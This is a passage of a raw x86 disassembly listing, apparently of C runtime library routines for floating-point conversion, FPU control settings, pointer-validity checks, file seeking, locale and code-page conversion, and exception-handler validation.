sub_427CC0+6Dp ; sub_427CC0+ACp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 3 pop edx sub ecx, eax push esi loc_427C1F: ; CODE XREF: sub_427C11+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_427C1F pop esi retn sub_427C11 endp ; =============== S U B R O U T I N E ======================================= sub_427C2C proc near ; CODE XREF: sub_427CC0+4Dp arg_0 = dword ptr 4 xor eax, eax loc_427C2E: ; CODE XREF: sub_427C2C+10j mov ecx, [esp+arg_0] cmp dword ptr [ecx+eax*4], 0 jnz short loc_427C42 inc eax cmp eax, 3 jl short loc_427C2E xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_427C42: ; CODE XREF: sub_427C2C+Aj xor eax, eax retn sub_427C2C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427C45 proc near ; CODE XREF: sub_427CC0+B6p ; sub_427CC0+D0p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h pop esi cdq mov ecx, esi idiv ecx mov ebx, [ebp+arg_0] or edi, 0FFFFFFFFh mov [ebp+arg_4], esi mov ecx, edx shl edi, cl mov [ebp+var_8], eax xor eax, eax sub [ebp+arg_4], edx not edi mov [ebp+var_4], eax loc_427C73: ; CODE XREF: sub_427C45+51j mov esi, [ebx+eax*4] mov ecx, esi and ecx, edi mov [ebp+var_C], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+arg_4] or esi, [ebp+var_4] mov [ebx+eax*4], esi mov esi, [ebp+var_C] shl esi, cl inc eax cmp eax, 3 mov [ebp+var_4], esi jl short loc_427C73 push 2 pop eax mov ecx, eax sub ecx, [ebp+var_8] lea ecx, [ebx+ecx*4] loc_427CA3: ; CODE XREF: sub_427C45+74j cmp eax, [ebp+var_8] jl short loc_427CAF mov edx, [ecx] mov [ebx+eax*4], edx jmp short loc_427CB3 ; --------------------------------------------------------------------------- loc_427CAF: ; CODE XREF: sub_427C45+61j and dword ptr [ebx+eax*4], 0 loc_427CB3: ; CODE XREF: sub_427C45+68j dec eax sub ecx, 4 test eax, eax jge short loc_427CA3 pop edi pop esi pop ebx leave retn sub_427C45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427CC0 proc near ; CODE XREF: sub_427E18+Dp ; sub_427E2E+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] movzx ecx, word ptr [eax+0Ah] push ebx push esi mov esi, [ebp+arg_8] push edi mov edi, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] shl eax, 10h and edi, 7FFFh sub edi, 3FFFh cmp edi, 0FFFFC001h mov [ebp+var_4], eax lea eax, [ebp+var_C] mov [ebp+var_8], ecx push eax jnz short loc_427D29 xor ebx, ebx call sub_427C2C test eax, eax pop ecx jnz loc_427DD8 lea edi, [ebp+var_C] stosd stosd stosd loc_427D21: ; CODE XREF: sub_427CC0+DAj push 2 pop eax jmp loc_427DDA ; --------------------------------------------------------------------------- loc_427D29: ; CODE XREF: sub_427CC0+49j lea eax, [ebp+var_18] push eax call sub_427C11 push dword ptr [esi+8] lea eax, [ebp+var_C] push eax call sub_427B9F add esp, 10h test eax, eax jz short loc_427D46 inc edi loc_427D46: ; CODE XREF: sub_427CC0+83j mov eax, [esi+4] mov ecx, eax sub ecx, [esi+8] cmp edi, ecx jge short loc_427D5C xor eax, eax lea edi, [ebp+var_C] stosd stosd stosd jmp short loc_427D98 ; --------------------------------------------------------------------------- loc_427D5C: ; CODE XREF: sub_427CC0+90j cmp edi, eax jg short loc_427D9C sub eax, edi mov edi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_427C11 lea eax, [ebp+var_C] push edi push eax call sub_427C45 push dword ptr [esi+8] lea eax, [ebp+var_C] push eax call sub_427B9F mov eax, [esi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_427C45 add esp, 20h loc_427D98: ; CODE XREF: sub_427CC0+9Aj xor ebx, ebx jmp short loc_427D21 ; --------------------------------------------------------------------------- loc_427D9C: ; CODE XREF: sub_427CC0+9Ej cmp edi, [esi] push dword ptr [esi+0Ch] jl short loc_427DC4 xor eax, eax lea edi, [ebp+var_C] stosd stosd stosd or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_427C45 mov ebx, [esi+14h] add ebx, [esi] pop ecx xor eax, eax pop ecx inc eax jmp short loc_427DDA ; --------------------------------------------------------------------------- loc_427DC4: ; CODE XREF: sub_427CC0+E1j mov ebx, [esi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add ebx, edi call sub_427C45 pop ecx pop ecx loc_427DD8: ; CODE XREF: sub_427CC0+55j xor eax, eax loc_427DDA: ; CODE XREF: sub_427CC0+64j ; sub_427CC0+102j push 1Fh pop ecx sub ecx, [esi+0Ch] mov esi, [esi+10h] shl ebx, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or ebx, ecx or ebx, [ebp+var_C] cmp esi, 40h jnz short loc_427E09 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], ebx mov [ecx], edx jmp short loc_427E13 ; --------------------------------------------------------------------------- loc_427E09: ; CODE XREF: sub_427CC0+13Aj cmp esi, 20h jnz short loc_427E13 mov ecx, [ebp+arg_4] mov [ecx], ebx loc_427E13: ; CODE XREF: sub_427CC0+147j ; sub_427CC0+14Cj pop edi pop esi pop ebx leave retn sub_427CC0 endp ; =============== S U B R O U T I N E ======================================= sub_427E18 proc near ; CODE XREF: sub_427E44+2Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_443CD8 push [esp+4+arg_4] push [esp+8+arg_0] call sub_427CC0 add esp, 0Ch retn sub_427E18 endp ; =============== S U B R O U T I N E ======================================= sub_427E2E proc near ; CODE XREF: sub_427E81+2Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_443CF0 push [esp+4+arg_4] push [esp+8+arg_0] call sub_427CC0 add esp, 0Ch retn sub_427E2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427E44 proc near ; CODE XREF: sub_4248B0+12p var_14 = byte ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov eax, ds:dword_4437D4 mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_428B61 push [ebp+arg_0] lea eax, [ebp+var_10] push eax call sub_427E18 mov ecx, [ebp+var_4] add esp, 24h call sub_422B83 leave retn sub_427E44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427E81 proc near ; CODE XREF: sub_4248B0+2Dp var_14 = byte ptr -14h var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov eax, ds:dword_4437D4 mov [ebp+var_4], eax xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax call sub_428B61 push [ebp+arg_0] lea eax, [ebp+var_10] push eax call sub_427E2E mov ecx, [ebp+var_4] add esp, 24h call sub_422B83 leave retn sub_427E81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427EBE proc near ; CODE XREF: sub_42490B+62p ; sub_4249FC+5Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] mov ecx, [edx+0Ch] push ebx mov ebx, [ebp+arg_4] test ebx, ebx push esi mov esi, [ebp+arg_0] push edi lea edi, [esi+1] mov byte ptr [esi], 30h mov eax, edi jle short loc_427EFB mov [ebp+arg_0], ebx xor ebx, ebx loc_427EE1: ; CODE XREF: sub_427EBE+38j mov dl, [ecx] test dl, dl jz short loc_427EED movsx edx, dl inc ecx jmp short loc_427EF0 ; --------------------------------------------------------------------------- loc_427EED: ; CODE XREF: sub_427EBE+27j push 30h pop edx loc_427EF0: ; CODE XREF: sub_427EBE+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_427EE1 mov edx, [ebp+arg_8] loc_427EFB: ; CODE XREF: sub_427EBE+1Cj test ebx, ebx mov byte ptr [eax], 0 jl short loc_427F14 cmp byte ptr [ecx], 35h jl short loc_427F14 jmp short loc_427F0C ; --------------------------------------------------------------------------- loc_427F09: ; CODE XREF: sub_427EBE+52j mov byte ptr [eax], 30h loc_427F0C: ; CODE XREF: sub_427EBE+49j dec eax cmp byte ptr [eax], 39h jz short loc_427F09 inc byte ptr [eax] loc_427F14: ; CODE XREF: sub_427EBE+42j ; sub_427EBE+47j cmp byte ptr [esi], 31h jnz short loc_427F1E inc dword ptr [edx+4] jmp short loc_427F30 ; --------------------------------------------------------------------------- loc_427F1E: ; CODE XREF: sub_427EBE+59j push edi call sub_41E1C0 inc eax push eax push edi push esi call sub_41F980 add esp, 10h loc_427F30: ; CODE XREF: sub_427EBE+5Ej pop edi pop esi pop ebx pop ebp retn sub_427EBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427F35 proc near ; CODE XREF: sub_427FEF+18p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] xor eax, eax mov ax, [edx+6] push ebx push esi push edi mov edi, 7FFh mov esi, 80000000h mov [ebp+var_4], esi mov ecx, eax shr ecx, 4 and eax, 8000h and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx and eax, 0FFFFFh test ebx, ebx jz short loc_427F85 cmp ebx, edi jz short loc_427F7E lea edi, [ecx+3C00h] jmp short loc_427FA6 ; --------------------------------------------------------------------------- loc_427F7E: ; CODE XREF: sub_427F35+3Fj mov edi, 7FFFh jmp short loc_427FA6 ; --------------------------------------------------------------------------- loc_427F85: ; CODE XREF: sub_427F35+3Bj xor ebx, ebx cmp eax, ebx jnz short loc_427F9D cmp edx, ebx jnz short loc_427F9D mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_427FEA ; --------------------------------------------------------------------------- loc_427F9D: ; CODE XREF: sub_427F35+54j ; sub_427F35+58j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_427FA6: ; CODE XREF: sub_427F35+47j ; sub_427F35+4Ej mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax or ecx, [ebp+var_4] mov eax, [ebp+arg_0] shl edx, 0Bh test ecx, esi mov [eax+4], ecx mov [eax], edx jnz short loc_427FE1 loc_427FC2: ; CODE XREF: sub_427F35+AAj mov ecx, [eax] mov edx, [eax+4] mov ebx, ecx shl edx, 1 shr ebx, 1Fh or edx, ebx add ecx, ecx add edi, 0FFFFh test edx, esi mov [eax+4], edx mov [eax], ecx jz short loc_427FC2 loc_427FE1: ; CODE XREF: sub_427F35+8Bj mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_427FEA: ; CODE XREF: sub_427F35+66j pop edi pop esi pop ebx leave retn sub_427F35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427FEF proc near ; CODE XREF: sub_42490B+3Ep ; sub_4249FC+42p ... var_10 = byte ptr -10h var_4 = dword ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 10h mov eax, ds:dword_4437D4 mov [ebp+var_4], eax push esi push edi lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_427F35 pop ecx pop ecx push offset word_4E2AE0 push 0 push 11h sub esp, 0Ch lea esi, [ebp+var_10] mov edi, esp movsd movsd movsw call sub_428FE8 mov ecx, [ebp+var_4] mov ds:dword_4E2B04, eax movsx eax, ds:byte_4E2AE2 mov ds:dword_4E2AFC, eax movsx eax, ds:word_4E2AE0 mov ds:dword_4E2B00, eax add esp, 18h mov ds:dword_4E2B08, offset dword_4E2AE4 mov eax, offset dword_4E2AFC call sub_422B83 pop edi pop esi leave retn sub_427FEF endp ; --------------------------------------------------------------------------- db 6Ah dd 8C7EE802h, 0C359FFFFh ; =============== S U B R O U T I N E ======================================= sub_42806C proc near ; CODE XREF: sub_42818C+Cp xor eax, eax test bl, 1 jz short loc_428076 push 10h pop eax loc_428076: ; CODE XREF: sub_42806C+5j test bl, 4 jz short loc_42807E or eax, 8 loc_42807E: ; CODE XREF: sub_42806C+Dj test bl, 8 jz short loc_428086 or eax, 4 loc_428086: ; CODE XREF: sub_42806C+15j test bl, 10h jz short loc_42808E or eax, 2 loc_42808E: ; CODE XREF: sub_42806C+1Dj test bl, 20h jz short loc_428096 or eax, 1 loc_428096: ; CODE XREF: sub_42806C+25j test bl, 2 jz short loc_4280A0 or eax, 80000h loc_4280A0: ; CODE XREF: sub_42806C+2Dj push ebp movzx edx, bx push esi mov ecx, edx mov esi, 0C00h and ecx, esi push edi mov edi, 300h mov ebp, 200h jz short loc_4280DC cmp ecx, 400h jz short loc_4280D7 cmp ecx, 800h jz short loc_4280D3 cmp ecx, esi jnz short loc_4280DC or eax, edi jmp short loc_4280DC ; --------------------------------------------------------------------------- loc_4280D3: ; CODE XREF: sub_42806C+5Dj or eax, ebp jmp short loc_4280DC ; --------------------------------------------------------------------------- loc_4280D7: ; CODE XREF: sub_42806C+55j or eax, 100h loc_4280DC: ; CODE XREF: sub_42806C+4Dj ; sub_42806C+61j ... and edx, edi jz short loc_4280EB cmp edx, ebp jnz short loc_4280F0 or eax, 10000h jmp short loc_4280F0 ; --------------------------------------------------------------------------- loc_4280EB: ; CODE XREF: sub_42806C+72j or eax, 20000h loc_4280F0: ; CODE XREF: sub_42806C+76j ; sub_42806C+7Dj test bh, 10h pop edi pop esi pop ebp jz short locret_4280FD or eax, 40000h locret_4280FD: ; CODE XREF: sub_42806C+8Aj retn sub_42806C endp ; =============== S U B R O U T I N E ======================================= sub_4280FE proc near ; CODE XREF: sub_42818C+22p xor eax, eax test bl, 10h jz short loc_428106 inc eax loc_428106: ; CODE XREF: sub_4280FE+5j test bl, 8 jz short loc_42810E or eax, 4 loc_42810E: ; CODE XREF: sub_4280FE+Bj test bl, 4 jz short loc_428116 or eax, 8 loc_428116: ; CODE XREF: sub_4280FE+13j test bl, 2 jz short loc_42811E or eax, 10h loc_42811E: ; CODE XREF: sub_4280FE+1Bj test bl, 1 jz short loc_428126 or eax, 20h loc_428126: ; CODE XREF: sub_4280FE+23j test ebx, 80000h jz short loc_428131 or eax, 2 loc_428131: ; CODE XREF: sub_4280FE+2Ej mov ecx, ebx mov edx, 300h and ecx, edx push esi mov esi, 200h jz short loc_428165 cmp ecx, 100h jz short loc_428160 cmp ecx, esi jz short loc_428159 cmp ecx, edx jnz short loc_428165 or eax, 0C00h jmp short loc_428165 ; --------------------------------------------------------------------------- loc_428159: ; CODE XREF: sub_4280FE+4Ej or eax, 800h jmp short loc_428165 ; --------------------------------------------------------------------------- loc_428160: ; CODE XREF: sub_4280FE+4Aj or eax, 400h loc_428165: ; CODE XREF: sub_4280FE+42j ; sub_4280FE+52j ... mov ecx, ebx and ecx, 30000h jz short loc_42817B cmp ecx, 10000h jnz short loc_42817D or eax, esi jmp short loc_42817D ; --------------------------------------------------------------------------- loc_42817B: ; CODE XREF: sub_4280FE+6Fj or eax, edx loc_42817D: ; CODE XREF: sub_4280FE+77j ; sub_4280FE+7Bj test ebx, 40000h pop esi jz short locret_42818B or eax, 1000h locret_42818B: ; CODE XREF: sub_4280FE+86j retn sub_4280FE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42818C proc near ; CODE XREF: sub_4281BE+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx fstcw word ptr [ebp+var_4] mov ebx, [ebp+var_4] call sub_42806C mov ebx, eax mov eax, [ebp+arg_4] not eax and ebx, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or ebx, eax call sub_4280FE mov [ebp+arg_4], eax fldcw word ptr [ebp+arg_4] mov eax, ebx pop ebx leave retn sub_42818C endp ; =============== S U B R O U T I N E ======================================= sub_4281BE proc near ; CODE XREF: sub_424BD4+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_42818C pop ecx pop ecx retn sub_4281BE endp ; =============== S U B R O U T I N E ======================================= sub_4281D4 proc near ; CODE XREF: sub_424F82+53p ; sub_424F82+8Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_4] xor esi, esi push [esp+8+arg_0] inc esi call ds:dword_42B140 ; IsBadReadPtr test eax, eax jz short loc_4281EC xor esi, esi loc_4281EC: ; CODE XREF: sub_4281D4+14j mov eax, esi pop esi retn sub_4281D4 endp ; =============== S U B R O U T I N E ======================================= sub_4281F0 proc near ; CODE XREF: sub_424F82+65p ; sub_424F82+9Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_4] xor esi, esi push [esp+8+arg_0] inc esi call ds:dword_42B1BC ; IsBadWritePtr test eax, eax jz short loc_428208 xor esi, esi loc_428208: ; CODE XREF: sub_4281F0+14j mov eax, esi pop esi retn sub_4281F0 endp ; =============== S U B R O U T I N E ======================================= sub_42820C proc near ; CODE XREF: sub_424F82+128p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] xor esi, esi inc esi call ds:dword_42B13C ; IsBadCodePtr test eax, eax jz short loc_428220 xor esi, esi loc_428220: ; CODE XREF: sub_42820C+10j mov eax, esi pop esi retn sub_42820C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4254B5 loc_428224: ; CODE XREF: sub_4254B5:loc_4254DDj push 0Ah call sub_426069 push 16h call sub_4292AF pop ecx pop ecx push 3 call sub_41F282 int 3 ; Trap to Debugger ; END OF FUNCTION CHUNK FOR sub_4254B5 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42823C proc near ; CODE XREF: sub_425882+73p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] cmp eax, ds:dword_4E2B98 push esi push edi jnb short loc_4282C0 mov ecx, eax sar ecx, 5 mov esi, eax and esi, 1Fh lea edi, ds:4E2BA0h[ecx*4] mov ecx, [edi] shl esi, 3 test byte ptr [ecx+esi+4], 1 jz short loc_4282C0 mov ecx, [ebp+arg_4] mov [ebp+var_8], ecx mov ecx, [ebp+arg_8] push eax mov [ebp+var_4], ecx call sub_42696C cmp eax, 0FFFFFFFFh pop ecx jz short loc_4282C7 push [ebp+arg_C] lea ecx, [ebp+var_4] push ecx push [ebp+var_8] push eax call ds:dword_42B0B8 ; SetFilePointer cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_4282AF call ds:dword_42B01C ; RtlGetLastWin32Error test eax, eax jz short loc_4282AF push eax call sub_422C0F pop ecx jmp short loc_4282D1 ; --------------------------------------------------------------------------- loc_4282AF: ; CODE XREF: sub_42823C+5Ej ; sub_42823C+68j mov eax, [edi] lea eax, [eax+esi+4] and byte ptr [eax], 0FDh mov eax, [ebp+var_8] mov edx, [ebp+var_4] jmp short loc_4282D7 ; --------------------------------------------------------------------------- loc_4282C0: ; CODE XREF: sub_42823C+10j ; sub_42823C+2Dj and ds:dword_4E28F8, 0 loc_4282C7: ; CODE XREF: sub_42823C+45j mov ds:dword_4E28F4, 9 loc_4282D1: ; CODE XREF: sub_42823C+71j or eax, 0FFFFFFFFh or edx, 0FFFFFFFFh loc_4282D7: ; CODE XREF: sub_42823C+82j pop edi pop esi leave retn sub_42823C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4282DB proc near ; CODE XREF: sub_425B55+27Dp ; sub_426DA0+15Ep ... var_C = byte ptr -0Ch var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, ds:dword_4437D4 push 6 mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push 1004h push [ebp+arg_0] mov [ebp+var_6], 0 call ds:dword_42B060 ; GetLocaleInfoA test eax, eax jnz short loc_42830A or eax, 0FFFFFFFFh jmp short loc_428314 ; --------------------------------------------------------------------------- loc_42830A: ; CODE XREF: sub_4282DB+28j lea eax, [ebp+var_C] push eax call sub_41E755 pop ecx loc_428314: ; CODE XREF: sub_4282DB+2Dj mov ecx, [ebp+var_4] call sub_422B83 leave retn sub_4282DB endp ; =============== S U B R O U T I N E ======================================= sub_42831E proc near ; CODE XREF: sub_425B55+2A8p ; sub_425B55+366p ... push 38h push offset dword_43A2A8 call sub_425F14 mov eax, ds:dword_4437D4 mov [ebp-1Ch], eax xor edi, edi mov [ebp-34h], edi mov [ebp-44h], edi mov eax, [ebp+14h] mov ebx, [eax] mov [ebp-40h], ebx mov [ebp-3Ch], edi mov eax, [ebp+8] cmp eax, [ebp+0Ch] jz loc_4284C4 lea ecx, [ebp-30h] push ecx push eax mov esi, ds:dword_42B190 call esi ; GetCPInfo test eax, eax jz short loc_428382 cmp dword ptr [ebp-30h], 1 jnz short loc_428382 lea eax, [ebp-30h] push eax push dword ptr [ebp+0Ch] call esi ; GetCPInfo test eax, eax jz short loc_428382 cmp dword ptr [ebp-30h], 1 jnz short loc_428382 mov dword ptr [ebp-3Ch], 1 loc_428382: ; CODE XREF: sub_42831E+42j ; sub_42831E+48j ... cmp [ebp-3Ch], edi jz short loc_4283A1 cmp ebx, 0FFFFFFFFh jz short loc_428390 mov esi, ebx jmp short loc_42839C ; --------------------------------------------------------------------------- loc_428390: ; CODE XREF: sub_42831E+6Cj push dword ptr [ebp+10h] call sub_41E1C0 pop ecx mov esi, eax inc esi loc_42839C: ; CODE XREF: sub_42831E+70j mov [ebp-38h], esi jmp short loc_4283A4 ; --------------------------------------------------------------------------- loc_4283A1: ; CODE XREF: sub_42831E+67j mov esi, [ebp-38h] loc_4283A4: ; CODE XREF: sub_42831E+81j cmp [ebp-3Ch], edi jnz short loc_4283C3 push edi push edi push ebx push dword ptr [ebp+10h] push 1 push dword ptr [ebp+8] call ds:dword_42B07C ; MultiByteToWideChar mov esi, eax mov [ebp-38h], esi cmp esi, edi jz short loc_42841B loc_4283C3: ; CODE XREF: sub_42831E+89j mov [ebp-4], edi lea eax, [esi+esi] add eax, 3 and eax, 0FFFFFFFCh call sub_41EA20 mov [ebp-18h], esp mov ebx, esp mov [ebp-48h], ebx lea eax, [esi+esi] push eax push edi push ebx call sub_41E5F0 add esp, 0Ch or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_428407 ; --------------------------------------------------------------------------- dd 0C340C033h, 0E8E8658Bh, 0FFFFD676h, 0DB33FF33h, 0FFFC4D83h db 8Bh, 75h, 0C8h ; --------------------------------------------------------------------------- loc_428407: ; CODE XREF: sub_42831E+D0j cmp ebx, edi jnz short loc_428429 push esi push 2 call sub_4205E4 pop ecx pop ecx mov ebx, eax cmp ebx, edi jnz short loc_428422 loc_42841B: ; CODE XREF: sub_42831E+A3j xor eax, eax jmp loc_4284D6 ; --------------------------------------------------------------------------- loc_428422: ; CODE XREF: sub_42831E+FBj mov dword ptr [ebp-44h], 1 loc_428429: ; CODE XREF: sub_42831E+EBj push esi push ebx push dword ptr [ebp-40h] push dword ptr [ebp+10h] push 1 push dword ptr [ebp+8] call ds:dword_42B07C ; MultiByteToWideChar test eax, eax jz loc_4284C7 cmp [ebp+18h], edi jz short loc_428469 push edi push edi push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push esi push ebx push edi push dword ptr [ebp+0Ch] call ds:dword_42B090 ; WideCharToMultiByte test eax, eax jz short loc_4284C7 mov eax, [ebp+18h] mov [ebp-34h], eax jmp short loc_4284C7 ; --------------------------------------------------------------------------- loc_428469: ; CODE XREF: sub_42831E+129j cmp [ebp-3Ch], edi jnz short loc_428484 push edi push edi push edi push edi push esi push ebx push edi push dword ptr [ebp+0Ch] call ds:dword_42B090 ; WideCharToMultiByte mov esi, eax cmp esi, edi jz short loc_4284C7 loc_428484: ; CODE XREF: sub_42831E+14Ej push esi push 1 call sub_4205E4 pop ecx pop ecx mov [ebp-34h], eax cmp eax, edi jz short loc_4284C7 push edi push edi push esi push eax push esi push ebx push edi push dword ptr [ebp+0Ch] call ds:dword_42B090 ; WideCharToMultiByte cmp eax, edi jnz short loc_4284B7 push dword ptr [ebp-34h] call sub_41E2A1 pop ecx mov [ebp-34h], edi jmp short loc_4284C7 ; --------------------------------------------------------------------------- loc_4284B7: ; CODE XREF: sub_42831E+189j cmp dword ptr [ebp-40h], 0FFFFFFFFh jz short loc_4284C7 mov ecx, [ebp+14h] mov [ecx], eax jmp short loc_4284C7 ; --------------------------------------------------------------------------- loc_4284C4: ; CODE XREF: sub_42831E+2Dj mov ebx, [ebp-48h] loc_4284C7: ; CODE XREF: sub_42831E+120j ; sub_42831E+141j ... cmp [ebp-44h], edi jz short loc_4284D3 push ebx call sub_41E2A1 pop ecx loc_4284D3: ; CODE XREF: sub_42831E+1ACj mov eax, [ebp-34h] loc_4284D6: ; CODE XREF: sub_42831E+FFj lea esp, [ebp-54h] mov ecx, [ebp-1Ch] call sub_422B83 call sub_425F4F retn sub_42831E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4284E7 proc near ; CODE XREF: seg000:00425F9Cp var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_0] mov ebx, [esi+8] test bl, 3 jnz short loc_428515 mov eax, large fs:18h mov [ebp+arg_0], eax mov eax, [ebp+arg_0] mov ecx, [eax+8] cmp ebx, ecx mov [ebp+var_4], ecx jb short loc_42851C cmp ebx, [eax+4] jnb short loc_42851C loc_428515: ; CODE XREF: sub_4284E7+11j xor eax, eax jmp loc_42870C ; --------------------------------------------------------------------------- loc_42851C: ; CODE XREF: sub_4284E7+27j ; sub_4284E7+2Cj push edi mov edi, [esi+0Ch] cmp edi, 0FFFFFFFFh jnz short loc_42852D loc_428525: ; CODE XREF: sub_4284E7+139j ; sub_4284E7+19Cj ... xor eax, eax inc eax jmp loc_42870B ; --------------------------------------------------------------------------- loc_42852D: ; CODE XREF: sub_4284E7+3Cj xor edx, edx mov [ebp+arg_0], edx mov eax, ebx loc_428534: ; CODE XREF: sub_4284E7+6Bj mov ecx, [eax] cmp ecx, 0FFFFFFFFh jz short loc_428543 cmp ecx, edx jnb loc_428688 loc_428543: ; CODE XREF: sub_4284E7+52j cmp dword ptr [eax+4], 0 jz short loc_42854C inc [ebp+arg_0] loc_42854C: ; CODE XREF: sub_4284E7+60j inc edx add eax, 0Ch cmp edx, edi jbe short loc_428534 cmp [ebp+arg_0], 0 jz short loc_42856E mov eax, [esi-8] cmp eax, [ebp+var_4] jb loc_428688 cmp eax, esi jnb loc_428688 loc_42856E: ; CODE XREF: sub_4284E7+71j mov eax, ds:dword_4E2B10 mov edi, ebx and edi, 0FFFFF000h xor esi, esi test eax, eax jle short loc_428593 loc_428581: ; CODE XREF: sub_4284E7+AAj cmp ds:dword_4E2B18[esi*4], edi jz loc_42868C inc esi cmp esi, eax jl short loc_428581 loc_428593: ; CODE XREF: sub_4284E7+98j push 1Ch lea eax, [ebp+var_20] push eax push ebx call ds:dword_42B178 ; VirtualQuery test eax, eax jz loc_428708 cmp [ebp+var_8], 1000000h jnz loc_428708 test [ebp+var_C], 0CCh jz short loc_428611 mov ecx, [ebp+var_1C] cmp word ptr [ecx], 5A4Dh jnz loc_428708 mov eax, [ecx+3Ch] add eax, ecx cmp dword ptr [eax], 4550h jnz loc_428708 cmp word ptr [eax+18h], 10Bh jnz loc_428708 sub ebx, ecx cmp word ptr [eax+6], 0 movzx ecx, word ptr [eax+14h] lea ecx, [ecx+eax+18h] jbe loc_428708 mov eax, [ecx+0Ch] cmp ebx, eax jb short loc_428611 mov edx, [ecx+8] add edx, eax cmp ebx, edx jnb short loc_428611 test byte ptr [ecx+27h], 80h jnz short loc_428688 loc_428611: ; CODE XREF: sub_4284E7+D2j ; sub_4284E7+119j ... push 1 push offset dword_4E2B58 call ds:dword_42B138 ; InterlockedExchange test eax, eax jnz loc_428525 mov ecx, ds:dword_4E2B10 test ecx, ecx mov edx, ecx jle short loc_428645 lea eax, ds:4E2B14h[ecx*4] loc_428639: ; CODE XREF: sub_4284E7+15Cj cmp [eax], edi jz short loc_428645 dec edx sub eax, 4 test edx, edx jg short loc_428639 loc_428645: ; CODE XREF: sub_4284E7+149j ; sub_4284E7+154j test edx, edx jnz short loc_428676 push 0Fh pop ebx cmp ecx, ebx jg short loc_428652 mov ebx, ecx loc_428652: ; CODE 